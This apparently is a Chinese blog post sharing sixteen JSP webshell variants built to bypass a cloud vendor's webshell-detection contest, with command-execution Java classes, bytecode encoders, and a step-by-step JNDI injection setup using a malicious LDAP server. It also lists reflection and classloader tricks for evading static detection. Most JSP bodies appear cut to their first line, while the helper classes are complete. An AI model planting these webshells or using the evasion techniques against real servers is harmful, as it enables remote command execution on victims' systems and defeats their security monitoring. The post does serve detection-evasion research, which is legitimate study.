最近,我的朋友“老嗨”,他参加了一个某云举办的号称可能史上最强的使用了AI技术的Webshell检测系统挑战赛…因为我没什么时间去搞这个,所以,我把我珍藏多年,姿势比较多的JSP Webshell发给了老嗨,老嗨跟我说,全部bypass了,但最后的结果非常惨烈,有被抢了的,有的因为没适配windows导致降级的,也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的,惨惨。
老嗨跟我说,经过一轮轮的battle,引擎的检测能力有没有加强他不知道,但是他说每周日PHP都能快速更新引擎,而JSP至今快结束了都未曾更新,简直就是脑补bypass,我感觉JSP在这次比赛中就是个弟弟,不知道是不是举办方在Java方面能力有所欠缺,还是JSP检测引擎的存在只是PHP的衬托,好宣称不但支持PHP Webshell,还支持jsp的检查?不过这只是我的猜测,切不可当真,呵呵。
JSP Webshell本来局限就比较大,来来去去都是那些个函数方法,姿势也不算多,虽然引擎没更新,但是毕竟很多姿势都被抢了,所以后面的挑战会越来越难,不像PHP,被phper们简直刷爆,xm$l。
今天这篇文章主要是分享一下各种JSP执行命令的姿势,和描述一些存在静态检测机制的系统,如何以各种姿势去绕过,但其实认真看会发现,多数都runtime.exec、反射、字节码、反序列化、表达式执行等姿势,以及如何去回显,代码可能是随意写的,但是重点还是姿势(不同的核心class method),分享给大家。
github地址:https://github.com/threedr3am/JSP-Webshells
一、使用BCEL字节码的JSP Webshell
1 | <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %> |
上述使用了1
com.sun.org.apache.bcel.internal.util.ClassLoader
直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。
而BCEL字节码的生成,以及执行指令的恶意类如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author threedr3am
*/
public class Threedr3am {
String res;
public Threedr3am(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Utility.encode(bytes, true);
System.out.println("$$BCEL$$" + code);
}
}
因为BCEL生成的时候是不带前缀$$BCEL$$的,所以需要我们自己补充上。
这里有个trick就是,因为某云禁了invoke的调用,我这里override了toString方法,使用它进行对命令执行结果的带出,其实这样的绕过还有很多,比如throw异常、写文件、寄存到static field、设置到System property等等都是可以的,请继续看后面的webshell。
二、使用自定义类加载器的JSP Webshell
1 | <%@ page import="java.security.PermissionCollection" %> |
这里的自定义类加载器,重写了loadClass、findClass方法,实现在使用类加载器加载类时,使用jsp中硬编码的恶意字节码。
字节码输出以及恶意类的编写如下:
1 | import java.io.BufferedReader; |
跟前面的一样,也是通过重写toString方法进行命令执行结果的带出,主要也是因为这种方式比较简易。
三、使用ScriptEngine.eval的JSP Webshell
1 | <%@ page import="javax.script.ScriptEngineManager" %> |
这个比较简单,就是使用了jdk自带的ScriptEngine执行脚本的方式进行执行命令。
四、使用URLClassLoader加载远程jar的JSP Webshell
1 | <%@ page import="java.net.URL" %> |
这个jsp webshell使用了URLClassLoader加载远程恶意jar,在loadClass时触发恶意代码执行,这种方式的Webshell,如果遇到了限制出网的情况,可能就没用了。
1 | import java.io.BufferedReader; |
五、使用javac动态编译class的JSP Webshell
1 | <%@ page import="java.net.URL" %> |
这是一个利用了jdk自带的javac进行动态编译class的jsp webshell,stringBuilder中的内容就是java源码内容,我们可以通过加密或编码的方式对其内容进行隐匿,避免被检测到,还有就是,这里使用了和前面不一样的方式去对命令执行结果的带出,具体是使用了field字段进行寄存,最后HTTP响应返回时从其中取出返回。
理论上这个马,也是有一点点小限制的,限制的点就在于1
ToolProvider.getSystemJavaCompiler
,按照官方文档的说法,这个api主要是提供给桌面端使用的,也就是说,服务器端可能会获取不到编译器对象。
六、使用了jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell
1 | <%@ page import="java.lang.reflect.Constructor" %> |
这个马和前面的自定义类加载器没什么大区别,但是是使用了1
jdk.nashorn.internal.runtime.ScriptLoader
,这种情况只是想展示不一样的姿势,最主要的是,如果某些类加载器被禁用了,就可以使用这个特殊的类加载器去加载字节码执行,不过其实还是需要调用invoke进行加载的,而某云的检测还是会检测到的,但是这里使用了多层的内部类形式,成功的绕过了某云的检测,invoke的绕过不是重点,重点的是想说一下有这样的一个类加载器。
1 | import java.io.BufferedReader; |
七、使用内部类绕某云检测java.lang.ProcessImpl以及invoke的一个JSP Webshell
1 | <%@ page import="java.io.BufferedReader" %> |
八、使用内部类绕某云检测java.lang.ProcessBuilder以及invoke的JSP Webshell
1 | <%@ page import="java.io.BufferedReader" %> |
九、利用MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell
1 | <%@ page import="java.io.InputStream" %> |
如果遇到了禁用Method.invoke的情况,我们还能使用MethodAccessor.invoke进行反射调用方法。
十、使用了SPI机制的ScriptEngineManager自动加载实例化JSP Webshell
1 | <%@ page import="java.net.URL" %> |
java的spi机制,具体也很简单,我也不想描述,可以去查查资料,这里的base64的内容,其实就是自行编译的一个jar包,其中有个恶意类实现了ScriptEngineFactory,在调用1
new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("file://" + jarPath)}));
,其中的代码实现会加载jar包内的1
META-INF/services/javax.script.ScriptEngineFactory
文件,读取class名,然后从jar包中加载并实例化,这样就能触发恶意类的代码执行了。
而这个jsp webshell的逻辑,利用了写临时文件,把jar写到临时目录持久化,让URLClassLoader能不出网本地加载,然后寄存用户shell命令到临时目录下的文件jabdhjabdjkandaldlanaklndkand.txt,接着在加载jar执行完命令后,把输出结果寄存在临时目录下的文件jfkdjkadnkladmknjknfkjnadkad.txt,最后在jsp中对其内容进行读取回显。
恶意class的内容是这样的:
1 | import java.io.BufferedReader; |
META-INF/services/javax.script.ScriptEngineFactory文件的内容:
1 | LaoHaiScript |
十一、利用TemplatesImpl触发的JSP Webshell
1 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> |
熟悉java原生反序列化gadget的人,看到这个TemplatesImpl应该都比较熟悉了吧,这个类是很多gadget的核心,利用它实现了加载自定义恶意class并实例化,如果遇到了某些静态检测引擎对URLClassLoader的或者ClassLoader的检测,那么,就可以使用TemplatesImpl对其进行绕过。
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
十二、重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell
1 | <%@ page import="java.io.ByteArrayInputStream" %> |
而Threedr3am_12.class文件的源码:
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
只要把这个class文件base64一下,放到jsp马就ok了,理论上这个马挺不错的,如果不禁用Class.forName、URLClassLoader、readObject,那因为可以随意引入jar或者class,那么也就是说可以无限拓展了,比如我可以引入common-collections,也能自己写个jar等等。
十三、使用JdbcRowSetImpl进行jndi注入的JSP Webshell
1 | <%@ page import="com.sun.rowset.JdbcRowSetImpl" %> |
很多人说jndi有版本限制,其实只要把com.sun.jndi.ldap.object.trustURLCodebase设置为true就没有任何限制。
jndi的利用手法不用我说了吧?算了,还是贴点代码吧。
Calc.java:
1 | import java.io.BufferedReader; |
LdapServer.java:
1 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
OperationInterceptor.java:
1 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; |
因为引入了ldap sdk,所以,需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar
具体的使用:
- 修改Calc.java中的cmd局部变量为需要执行的shell命令,然后执行javac Calc.java编译得到Calc.class
- 把上一步得到的Calc.class放到webshell运行环境可访问的http服务器中
把LdapServer.java、OperationInterceptor.java、unboundid-ldapsdk-3.1.1.jar放到同一目录下,执行编译
1
javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java
执行
1
jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class
打包成LdapServer.jar
- 把LdapServer.jar、unboundid-ldapsdk-3.1.1.jar放到同一目录下,
1
java -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc"
,其中12345为ldap server的端口,”http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器,因为Calc.class存放于http服务器根目录,所以为Calc(Calc存放在http服务器的文件有后缀.class,但是参数不需要.class)
- 把jsp放到tomcat的webapps/ROOT/中,访问http://127.0.0.1:8080/iii.jsp?threedr3am=ldap://127.0.0.1:12345,threedr3am参数即为刚刚上一步启动的ldap server的url
十四、利用tomcat el的JSP Webshell
1 | <%@ page import="javax.el.ELProcessor" %> |
这个马需要利用tomcat的环境,不是非常通用,但是胜在简单,而且,若ELProcessor被禁了之后,或者eval方法被禁之后,通过研究其源码,发现还能这样用,又是一个bypass:
1 | <%@ page import="java.io.InputStream" %> |
十五、对BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell
1 | <%@ page import="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" %> |
其实这个就是最早出现在某个序列化组件被发现的gadget
Threedr3am_15:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author threedr3am
*/
public class Threedr3am_15 {
static {
StringBuilder stringBuilder = new StringBuilder();
try {
String tmp = System.getProperty("java.io.tmpdir");
String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
} catch (Throwable e) {
e.printStackTrace();
}
Integer.parseInt(stringBuilder.toString());
}
}
Threedr3am_make:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author threedr3am
*/
public class Threedr3am_make {
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_make.class.getClassLoader().getResourceAsStream("Threedr3am_15.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = "$$BCEL$$" + Utility.encode(bytes, true);
bytes = code.getBytes();
for (int i = 0; i < bytes.length; i++) {
System.out.print(bytes[i]);
if (i != bytes.length - 1)
System.out.print(",");
}
}
}
十六、使用VersionHelper包装的URLClassLoader类加载器的JSP Webshell
1 | <%@ page import="com.sun.naming.internal.VersionHelper" %> |
在某些场景下,可能会禁掉了URLClassLoader,这个VersionHelper类,封装了URLClassLoader,可以一定程度的bypass检测,这个class是在跟jndi注入洞的时候发现的,也是个神奇的东西。
Threedr3am_16:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;
/**
* @author threedr3am
*/
public class Threedr3am_16 {
String res;
public Threedr3am_16(String cmd) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
res = stringBuilder.toString();
}
public String toString() {
return res;
}
public static void main(String[] args) throws IOException {
InputStream inputStream = Threedr3am_6.class.getClassLoader().getResourceAsStream("Threedr3am_16.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
String code = Base64.getEncoder().encodeToString(bytes);
System.out.println(code);
}
}
other
送上一些从jdk lib的jar中搜索出来的一些可能有用的东西。
一、invoke、newInstance反射调用的各种方式
1. invoke
1.1 Method.invoke
1 | Method method = Threedr3am.class.getMethod("a"); |
1.2 MethodAccessor.invoke
1 | Method method = Threedr3am.class.getMethod("a"); |
1.3 JSClassLoader.invoke
1 | Method method = Main.class.getDeclaredMethod("a"); |
2. newInstance
2.1 JSClassLoader.newInstance
1 | Constructor constructor = Main.class.getConstructor(); |
2.2 Beans加载并实例化
1 | Object o = Beans.instantiate(Thread.currentThread().getContextClassLoader(), "java.lang.String"); |
二、获取class、method、field、constructor的各种方式
1. class
1.1 ReflectUtil
sun.reflect.misc.ReflectUtil1
ReflectUtil.forName("java.lang.String")
1.2 BytecodeDescriptor
1 | sun.invoke.util.BytecodeDescriptor.parseMethod("(Ljava/lang/String;)V", null).get(0); |
1.3 Class.forName
1 | Class.forName("java.lang.String"); |
1.4 ClassLoader.loadClass
1 | Thread.currentThread().getContextClassLoader().loadClass("java.lang.String"); |
1.5 JDKBridge.loadClass
1 | JDKBridge.loadClass("java.lang.String"); |
1.6 RMIClassLoader.loadClass
1 | RMIClassLoader.loadClass("java.lang.String") |
1.7 MLet
1 | MLet mLet = new MLet(); |
2. method
2.1 MethodUtil
sun.reflect.misc.MethodUtil1
MethodUtil.getMethod(String.class, "valueOf", new Class[]{int.class});
3. field
3.1 FieldUtil
sun.reflect.misc.FieldUtil1
FieldUtil.getField(String.class, "a");
4. Constructor
4.1 ConstructorUtil
sun.reflect.misc.ConstructorUtil1
sun.reflect.misc.ConstructorUtil#getConstructor